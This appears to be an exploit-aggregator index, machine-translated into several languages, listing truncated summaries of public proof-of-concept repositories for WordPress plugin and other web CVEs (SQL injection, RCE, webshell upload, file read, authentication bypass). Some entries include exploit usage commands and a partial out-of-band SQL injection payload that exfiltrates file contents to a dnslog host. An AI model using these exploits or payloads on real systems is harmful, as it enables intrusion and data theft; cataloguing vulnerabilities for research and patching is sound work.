CVE-2024-52430

CVE-2024-52430 Lis Video Gallery = 0.2.1 - Nicht authentifizierte PHP-Objekt-Injektion Beschreibung Das Lis Video Gallery Plugin für WordPress ist anfällig für PHP-Objekt-Injektion in Versionen bis einschließlich 0.2.1 über die Deserialisierung von nicht vertrauenswürdigen Eingaben. Dies ermöglic...

typehub-exploiter

typehub-exploiter GILANG - Exploiter per CVE-2021-25094 riferimento : https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ payload : site.com/wp-admin/admin-ajax.php percorso del bug : site.com/wp-content/uploads/typehub/custom/ Ringraziamenti a : Ibnudz, Dark clown security...

CVE-2022-28590

CVE-2022-28590 La scoperta originale e il PoC manuale provengono da tuando243: Esiste una vulnerabilità di esecuzione remota di codice RCE in Pixelimity 1.0 tramite admin/admin-ajax.php?action=installtheme. Questo PoC carica una semplice webshell per un'ulteriore esecuzione remota di codice. Ques...

CVE-2024-2961-Remote-File-Read

CVE-2024-2961 Remote-Datei-Lesen Dieses Skript demonstriert, wie eine Schwachstelle in Systemen ausgenutzt werden kann, die die iconv-Bibliothek verwenden, wenn sie Zeichenkodierungskonvertierungen fehlerhaft behandelt, wie in CVE-2024-2961 beschrieben. Es ermöglicht einem Angreifer, beliebige...

CVE-2025-57819_FreePBX

🛡️ CVE-2025-57819 – FreePBX Unauthentifizierte SQL-Injection zu RCE PoC Dieses Repository enthält zwei Python-Proof-of-Concept-Skripte PoC, die sich gegen CVE-2025-57819 richten, eine kritische unauthentifizierte SQL-Injection-Schwachstelle in FreePBX. 🧠 Über die Schwachstelle CVE-2025-57819...

SSI-CVE-2022-21661

SSI-CVE-2022-21661 Informationssystemsicherheit – 2. Aufgabenstellung Untersuchung und Ausnutzung der Schwachstelle CVE-2022-21661, die SQL-Injection durch Plugin-POST-Anfragen in WordPress-Versionen unter 5.8.3 ermöglicht. Einrichtung der Umgebung Zum Starten und Konfigurieren der Umgebung führe...

CVE-2022-0169

CVE-2022-0169 — PoC di SQL injection per WordPress Photo Gallery Questo è un semplice proof-of-concept PoC in Python per CVE-2022-0169 , una vulnerabilità di SQL injection nel plugin WordPress Photo Gallery. Cosa fa Controlla la versione di WordPress se disponibile Sfrutta l'endpoint vulnerabile...

CVE-2022-1386

CVE-2022-1386 - Fusion Builder 3.6.2 - Nicht authentifizierte SSRF Beschreibung Fusion Builder ist ein WordPress-Plugin, das Benutzern das Erstellen und Bearbeiten von Seiten mit einer Drag-and-Drop-Oberfläche ermöglicht. Es ist anfällig für eine nicht authentifizierte SSRF, die es einem Angreife...

CVE-2024-2961

Buddyforms 2.7.7 CNEXT RCE Ausnutzen von CVE-2024-2961 und CVE-2023–26326 für RCE Verwendung root@kitploit: git-clone https://github.com/suce0155/CVE-2024-2961buddyforms2.7.7 pip install -r requirements.txt python3 buddyforms2.7.7cnextexploit.py http://site/wp-admin/admin-ajax.php ip port Analyse...

CVE-2026-1729-PoC-AdForest-WordPress-Authentication-Bypass

CVE-2026-1729 - PoC di bypass dell'autenticazione WordPress AdForest Descrizione Semplice Proof of Concept per CVE-2026-1729 PoC - Vulnerabilità di bypass dell'autenticazione nel tema WordPress AdForest. Autore: f3ds cr3w est 2oo2 blog Caratteristiche ✅ Accesso admin diretto senza credenziali ✅...

CVE-2021-24762

Panoramica Questo repository documenta il rilevamento di CVE-2021-24762, una vulnerabilità identificata su un'istanza WordPress tramite scansione HTTP. La vulnerabilità è stata scoperta sull'endpoint AJAX di WordPress: /wp-admin/admin-ajax.php Questo endpoint è comunemente utilizzato da plugin e...

CVE-2024-6244

🚀 pz-frontend-manager = 1.0.5 - Exploit CSRF dell'immagine del profilo 🛠️ Descrizione Questo script sfrutta una vulnerabilità CSRF nel plugin WordPress pz-frontend-manager versioni = 1.0.5 per modificare l'immagine del profilo di un utente autenticato senza il suo consenso. 🔴 CVE-2024-6244 Il...

CVE-2024-3673

CVE-2024-3673 Exploit CVE-2024-3673: Inclusão de Arquivo Local no Plugin Web Directory Free WordPress antes da versão 1.7.3 Visão Geral CVE-2024-3673 descreve uma vulnerabilidade crítica no plugin Web Directory Free WordPress versões anteriores a 1.7.3. O plugin não valida um parâmetro antes de...

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / Exploit RCE 0-Click Autore: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 Questo repository contiene un exploit proof-of-concept per CVE-2024-51793, una vulnerabilità di upload arbitrario di file non autenticata in un plugin WordPress vulnerabile, che...

CVE-2024-33911

The School Management 10.3.4 - SQL-Injection nach Authentifizierung Exploit-Titel: The School Management 10.3.4 - SQL-Injection nach Authentifizierung Datum: 29. April 2024 Exploit-Autor: Ivan Spiridonov xbz0n Hersteller-Website: https://theschool-management.com Version: 10.3.4 Getestet auf:...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 versão5.8.3 caminho: http://your target/wp-admin/admin-ajax.php O tipo de injeção é out-of-band, você precisa especificar o dnslog você mesmo e substituir ceye.io POST- DADOS："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select...

CVE-2022-21661

ماسح WordPress CVE-2022-21661 الاستخدام root@kitploit: python wordpressscanner.py -H -p -ssl -proxy -path المساعدة root@kitploit: ماسح WordPress لـ CVE-2022-21661 options: -h, --help عرض رسالة المساعدة هذه والخروج -H HOST, --host HOST المضيف أو عنوان IP -p PORT, --port PORT رقم المنفذ -ssl,...

cve-2025-1323

cve-2025-1323 Iniezione SQL nel plugin WP-Recall ⚠️ Avvertenze legali Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e uso educativo. Non utilizzare su sistemi senza autorizzazione esplicita. L'uso improprio potrebbe essere illegale. ✅ Requisiti Python 3.x Modulo...

CVE-2026-6433

CVE-2026-6433 — प्रमाण-अवधारणा FlipperCode — Custom CSS, JS & PHP · अप्रमाणित SQL इंजेक्शन → RCE eval के माध्यम से प्रभावित: FlipperCode Custom CSS, JS & PHP ≤ 2.0.7 · WordPress प्लगइन सतह admin-ajax.php के माध्यम से एक नज़र में...

CVE-2025-2539

CVE-2025-2539 - WordPress File Away = 3.9.9.0.1 - Beliebiges Dateilesen 🔥 Schwachstellenübersicht Das WordPress-Plugin File Away in Version = 3.9.9.0.1 ist anfällig für eine unauthentifizierte Schwachstelle zum beliebigen Lesen von Dateien. Dies ermöglicht es Angreifern, über eine manipulierte...